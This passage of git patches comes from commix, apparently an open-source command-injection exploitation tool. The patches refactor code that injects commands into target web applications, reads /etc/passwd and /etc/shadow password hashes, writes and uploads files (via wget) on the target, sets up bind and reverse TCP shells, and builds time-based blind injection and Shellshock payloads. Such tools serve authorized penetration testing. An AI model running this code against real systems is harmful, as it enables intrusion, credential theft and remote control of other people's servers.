- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
- output_file.close()
- # Check for appropriate '/etc/shadow' format.
- except IndexError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
- warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- print(fields[0])
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + fields[0])
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.SHADOW_FILE + "' file."
- print(settings.print_warning_msg(warn_msg))
-
+ checks.print_users(sys_users, filename, _)
settings.ENUMERATION_DONE = True
"""
@@ -350,121 +148,32 @@ def enumeration(url, cve, check_header, filename):
"""
def file_access(url, cve, check_header, filename):
- #-------------------------------------
- # Write to a file on the target host.
- #-------------------------------------
if menu.options.file_write:
- file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
- if not os.path.exists(file_to_write):
- warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- print(settings.print_warning_msg(warn_msg))
- raise SystemExit()
-
- if os.path.isfile(file_to_write):
- with open(file_to_write, 'r') as content_file:
- content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
- content = "".join(str(p) for p in content).replace("'", "\"")
- else:
- warn_msg = "It seems that '" + file_to_write + "' is not a file."
- print(settings.print_warning_msg(warn_msg))
- settings.FILE_ACCESS_DONE = True
-
- #-------------------------------
- # Check the file-destination
- #-------------------------------
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
- else:
- dest_to_write = menu.options.file_dest
-
- # Execute command
- cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'"
+ file_to_write, dest_to_write, content = checks.check_file_to_write()
+ cmd = checks.write_content(content, dest_to_write)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
-
- # Check if file exists!
- cmd = "ls " + dest_to_write + ""
- # Check if defined cookie injection.
+ cmd = checks.check_file(dest_to_write)
+ cmd = checks.remove_command_substitution(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- if shell:
- info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to write the '"
- warn_msg += dest_to_write + "' file."
- print(settings.print_warning_msg(warn_msg))
+ checks.file_write_status(shell, dest_to_write)
settings.FILE_ACCESS_DONE = True
- #-------------------------------------
- # Upload a file on the target host.
- #-------------------------------------
if menu.options.file_upload:
- file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
- # check if remote file exists.
- try:
- _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as warn_msg:
- warn_msg = "It seems that the '" + file_to_upload + "' file, "
- warn_msg += "does not exist. (" + str(warn_msg) + ")"
- print(settings.print_critical_msg(warn_msg))
- raise SystemExit()
- except ValueError as err_msg:
- err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
-
- # Check the file-destination
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
- else:
- dest_to_upload = menu.options.file_dest
-
- # Execute command
- cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
+ cmd, dest_to_upload = checks.check_file_to_upload()
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
-
- # Check if file exists!
- cmd = "ls " + dest_to_upload
+ cmd = checks.check_file(dest_to_upload)
+ cmd = checks.remove_command_substitution(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
- if shell:
- info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions "
- warn_msg += "to upload the '" + dest_to_upload + "' file."
- print(settings.print_warning_msg(warn_msg))
+ checks.file_upload_status(shell, dest_to_upload)
settings.FILE_ACCESS_DONE = True
- #-------------------------------------
- # Read a file from the target host.
- #-------------------------------------
if menu.options.file_read:
- file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching content of the file: '"
- info_msg += file_to_read + "'."
- print(settings.print_info_msg(info_msg))
- # Execute command
- cmd = "cat " + settings.FILE_READ + file_to_read
+ cmd, file_to_read = checks.file_content_to_read()
+ cmd = checks.remove_command_substitution(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- if shell:
- _ = "Fetched file content"
- print(settings.print_retrieved_data(_, shell))
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Fetched file content '"
- info_msg += file_to_read + "' : " + shell + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the '" + file_to_read + "' file."
- print(settings.print_warning_msg(warn_msg))
+ checks.file_read_status(shell, file_to_read, filename)
settings.FILE_ACCESS_DONE = True
"""
@@ -480,21 +189,17 @@ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option):
Configure the bind TCP shell
"""
def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again):
-
settings.BIND_TCP = True
# Set up RHOST / LPORT for the bind TCP connection.
bind_tcp.configure_bind_tcp(separator = "")
-
if settings.BIND_TCP == False:
if settings.REVERSE_TCP == True:
os_shell_option = "reverse_tcp"
reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
-
while True:
if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_bind_tcp_options(settings.RHOST)
-
else:
cmd = bind_tcp.bind_tcp_options(separator = "")
result = checks.check_bind_tcp_options(cmd)
@@ -505,7 +210,6 @@ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http
go_back_again = True
settings.BIND_TCP = False
return go_back, go_back_again
-
# execute bind TCP shell
execute_shell(url, cmd, cve, check_header, filename, os_shell_option)
@@ -513,17 +217,14 @@ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http
Configure the reverse TCP shell
"""
def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again):
-
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for the reverse TCP connection.
reverse_tcp.configure_reverse_tcp(separator = "")
-
if settings.REVERSE_TCP == False:
if settings.BIND_TCP == True:
os_shell_option = "bind_tcp"
bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
return go_back, go_back_again
-
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
@@ -537,7 +238,6 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h
go_back_again = True
settings.REVERSE_TCP = False
return go_back, go_back_again
-
# execute bind TCP shell
execute_shell(url, cmd, cve, check_header, filename, os_shell_option)
@@ -545,13 +245,15 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h
Check commix shell options
"""
def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result):
-
if os_shell_option == False:
if no_result == True:
return False
else:
return True
+ if os_shell_option == None:
+ return go_back, go_back_again
+
# The "back" option
elif os_shell_option == "back":
go_back = True
@@ -599,7 +301,7 @@ def shellshock_handler(url, http_request_method, filename):
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
i = i + 1
- attack_vector = "echo " + cve + ":Done;"
+ attack_vector = "echo" + " " + cve + ":Done;"
payload = shellshock_payloads(cve, attack_vector)
# Check if defined "--verbose" option.
@@ -721,7 +423,7 @@ def shellshock_handler(url, http_request_method, filename):
print(settings.print_retrieved_data(_, shell))
else:
err_msg = "The execution of '" + cmd + "' command does not return any output."
- print(settings.print_critical_msg(err_msg))
+ print(settings.print_error_msg(err_msg))
try:
# Pseudo-Terminal shell
@@ -751,31 +453,29 @@ def shellshock_handler(url, http_request_method, filename):
go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result)
if go_back and go_back_again == False:
break
- else:
- logs.logs_notification(filename)
- return True
+ if go_back and go_back_again:
+ return True
+ # else:
+ # logs.logs_notification(filename)
+ # return True
else:
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
- print(settings.SINGLE_WHITESPACE)
- print(Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL)
- print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(shell))
else:
debug_msg = "Executing the '" + cmd + "' command. "
if settings.VERBOSITY_LEVEL == 1:
print(settings.print_debug_msg(debug_msg))
- print(settings.SINGLE_WHITESPACE)
print(settings.print_payload(payload))
- print(settings.SINGLE_WHITESPACE)
elif settings.VERBOSITY_LEVEL >= 2:
print(settings.print_debug_msg(debug_msg))
- print(settings.SINGLE_WHITESPACE)
sys.stdout.write(settings.print_payload(payload))
+ if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
err_msg = "The execution of '" + cmd + "' command does not return any output."
- print(settings.print_critical_msg(err_msg))
+ print(settings.print_error_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index 94aca7f6f8..68651c5372 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -547,7 +547,6 @@ def configure_bind_tcp(separator):
print(settings.print_error_msg(err_msg))
pass
else:
- print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + option + "' option, is not valid."
print(settings.print_error_msg(err_msg))
pass
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index cb887c9905..bf7553a717 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -762,7 +762,6 @@ def configure_reverse_tcp(separator):
print(settings.print_error_msg(err_msg))
pass
else:
- print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + option + "' option, is not valid."
print(settings.print_error_msg(err_msg))
pass
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 14389aeae3..acca6bfab3 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "78"
+REVISION = "79"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -534,10 +534,17 @@ def sys_argv_errors():
# File System access options
# Read file
FILE_READ = "cat "
+FILE_WRITE_OPERATOR = " > "
WIN_FILE_READ = "type "
+# List file
+FILE_LIST = "ls "
+FILE_LIST_WIN = "dir "
+
+CERTUTIL_DECODE_CMD = "certutil -decode "
+
# Write file
-FILE_WRITE = "echo "
+FILE_WRITE = "printf "
# Write file
FILE_UPLOAD = "wget "
From e7e2d61a59dab3690349fd0dafa2656e32fcc459 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 9 Jun 2022 09:03:41 +0300
Subject: [PATCH 156/560] Additional fixes / updates regarding commit
https://github.com/commixproject/commix/commit/f7ca42f9967411c11ec0b2e16dbf38d1cbca42ee
---
.../techniques/time_based/tb_enumeration.py | 49 +++-----
.../techniques/time_based/tb_payloads.py | 10 +-
src/core/injections/controller/checks.py | 117 ++++++++++++++----
src/core/injections/controller/parser.py | 2 +-
.../techniques/classic/cb_enumeration.py | 52 +++-----
.../techniques/eval_based/eb_enumeration.py | 65 ++++------
.../techniques/eval_based/eb_injector.py | 4 +-
.../techniques/file_based/fb_enumeration.py | 51 +++-----
.../techniques/file_based/fb_handler.py | 2 +-
.../techniques/file_based/fb_payloads.py | 13 +-
.../tempfile_based/tfb_enumeration.py | 47 +++----
.../techniques/tempfile_based/tfb_handler.py | 2 +-
.../techniques/tempfile_based/tfb_payloads.py | 41 +++---
src/core/main.py | 11 +-
src/core/modules/shellshock/shellshock.py | 47 +++----
src/core/shells/reverse_tcp.py | 10 +-
src/utils/common.py | 2 +-
src/utils/settings.py | 5 +-
src/utils/simple_http_server.py | 2 +-
19 files changed, 251 insertions(+), 281 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index db2344bd2f..3dfdefbf87 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -35,7 +35,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
_ = False
cmd = settings.PS_VERSION
if alter_shell:
- cmd = cmd.replace("'","\\'")
+ cmd = checks.escape_single_quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
@@ -91,7 +91,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
distro_name = output
if len(distro_name) != 0:
- target_os = target_os + " " + distro_name
+ target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
@@ -146,12 +146,12 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites
"""
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
+ cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
- settings.SYS_USERS = settings.WIN_SYS_USERS
- settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
+ cmd = settings.WIN_SYS_USERS
+ cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
- settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
- cmd = settings.SYS_USERS
+ cmd = checks.escape_single_quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
try:
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
@@ -185,8 +185,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- info_msg = "Executing the user-supplied command: '" + cmd + "'."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
@@ -196,12 +195,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
check_how_long = 0
- if len(output) > 1:
- _ = "'" + cmd + "' execution output"
- print(settings.print_retrieved_data(_, output))
- else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
- print(settings.print_error_msg(err_msg))
+ checks.print_single_os_cmd(cmd, output)
return check_how_long, output
"""
@@ -217,53 +211,42 @@ def reset():
if not checks.ps_incompatible_os():
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching powershell version."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().ps_version_msg()
powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.hostname:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching hostname."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().hostname_msg()
hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.current_user:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching current user."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().current_user_msg()
current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.is_root or menu.options.is_admin:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Testing if current user has excessive privileges."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.sys_info:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching the underlying operating system information."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().os_info_msg()
system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.users:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_users_msg()
system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
@@ -274,9 +257,7 @@ def reset():
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_passes_msg()
system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index d90fdaf3ba..31c925517f 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -81,7 +81,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(output_length) + " -ne $(echo " + TAG + " " +
+ "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE +
pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator +
"sleep " + str(timesec)
)
@@ -256,7 +256,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
payload = (separator + " " +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do if %i==" +str(output_length) + " " +
+ "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE +
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
)
@@ -266,7 +266,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
payload = (ampersand + " "
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do if %i==" +str(output_length) + " " +
+ "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE +
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
)
@@ -563,7 +563,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
payload = (separator + " " +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do if %i==" +str(ascii_char) + " " +
+ "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE +
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
)
@@ -574,7 +574,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
payload = (ampersand + " "
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do if %i==" +str(ascii_char) + " " +
+ "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE +
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 4d3f1f01fc..c5bc7578e1 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -246,7 +246,9 @@ def load_cmd_history():
warn_msg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'"
print(settings.print_warning_msg(warn_msg))
-# If the value has boundaries.
+"""
+Check if the value has boundaries.
+"""
def value_boundaries(value):
message = "It appears that the value '" + value + "' has boundaries. "
message += "Do you want to inject inside? [Y/n] > "
@@ -263,7 +265,9 @@ def value_boundaries(value):
pass
return value
-# Ignoring the anti-CSRF parameter(s).
+"""
+Ignoring the anti-CSRF parameter(s).
+"""
def ignore_anticsrf_parameter(parameter):
if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES):
info_msg = "Ignoring the parameter '" + parameter.split("=")[0]
@@ -271,7 +275,9 @@ def ignore_anticsrf_parameter(parameter):
print(settings.print_info_msg(info_msg))
return True
-# Ignoring the Google analytics cookie parameter.
+"""
+Ignoring the Google analytics cookie parameter.
+"""
def ignore_google_analytics_cookie(cookie):
if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX):
info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'."
@@ -1623,7 +1629,7 @@ def check_similarities(all_params):
if re.findall(r'(.*)>', all_params[param]) == re.findall(r'>(.*)', all_params[param]):
parameter_name = re.findall(r'>(.*)', all_params[param])
parameter_name = ''.join(parameter_name)
- all_params[param] = "<" + parameter_name + ">" + parameter_name + settings.RANDOM_TAG + "" + parameter_name + ">"
+ all_params[param] = "<" + parameter_name + settings.FILE_WRITE_OPERATOR + parameter_name + settings.RANDOM_TAG + "" + parameter_name + ">"
else:
if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]):
parameter_name = re.findall(r'=(.*)', all_params[param])
@@ -1673,7 +1679,6 @@ def print_ps_version(ps_version, filename, _):
settings.PS_ENABLED = False
ps_check_failed()
-
"""
Print hostname
"""
@@ -1751,6 +1756,46 @@ def print_os_info(target_os, target_arch, filename, _):
warn_msg = "Heuristics have failed to fetch underlying operating system information."
print(settings.print_warning_msg(warn_msg))
+"""
+Print enumeration info msgs
+"""
+class print_enumenation():
+ def ps_version_msg(self):
+ info_msg = "Fetching powershell version."
+ print(settings.print_info_msg(info_msg))
+
+ def hostname_msg(self):
+ info_msg = "Fetching hostname."
+ print(settings.print_info_msg(info_msg))
+
+ def current_user_msg(self):
+ info_msg = "Fetching current user."
+ print(settings.print_info_msg(info_msg))
+
+ def check_privs_msg(self):
+ info_msg = "Testing if current user has excessive privileges."
+ print(settings.print_info_msg(info_msg))
+
+ def os_info_msg(self):
+ info_msg = "Fetching the underlying operating system information."
+ print(settings.print_info_msg(info_msg))
+
+ def print_users_msg(self):
+ if settings.TARGET_OS == "win":
+ info_msg = "Executing the 'net users' command "
+ else:
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' "
+ info_msg += "in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
+
+ def print_passes_msg(self):
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' "
+ info_msg += "in order to enumerate users password hashes. "
+ print(settings.print_info_msg(info_msg))
+
+ def print_single_os_cmd_msg(self, cmd):
+ info_msg = "Executing the user-supplied command: '" + cmd + "'."
+ print(settings.print_info_msg(info_msg))
"""
Print users enumeration.
@@ -1759,7 +1804,7 @@ def print_users(sys_users, filename, _):
# Windows users enumeration.
if settings.TARGET_OS == "win":
try:
- if sys_users[0] :
+ if sys_users:
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write(settings.SUCCESS_STATUS)
sys_users_list = re.findall(r"(.*)", sys_users)
@@ -1792,10 +1837,10 @@ def print_users(sys_users, filename, _):
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
+ is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user"
is_privileged_nh = " is admin user "
else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
+ is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else :
is_privileged = ""
@@ -1821,7 +1866,7 @@ def print_users(sys_users, filename, _):
# Unix-like users enumeration.
else:
try:
- if sys_users[0] :
+ if sys_users:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1 :
sys_users = sys_users.split("\n")
@@ -1867,20 +1912,20 @@ def print_users(sys_users, filename, _):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
+ is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
+ is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
+ is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
+ is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
+ is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else :
is_privileged = ""
@@ -1888,11 +1933,11 @@ def print_users(sys_users, filename, _):
else :
is_privileged = ""
is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -1925,8 +1970,7 @@ def print_users(sys_users, filename, _):
def print_passes(sys_passes, filename, _):
if sys_passes == "":
sys_passes = " "
- sys_passes = sys_passes.replace(" ", "\n")
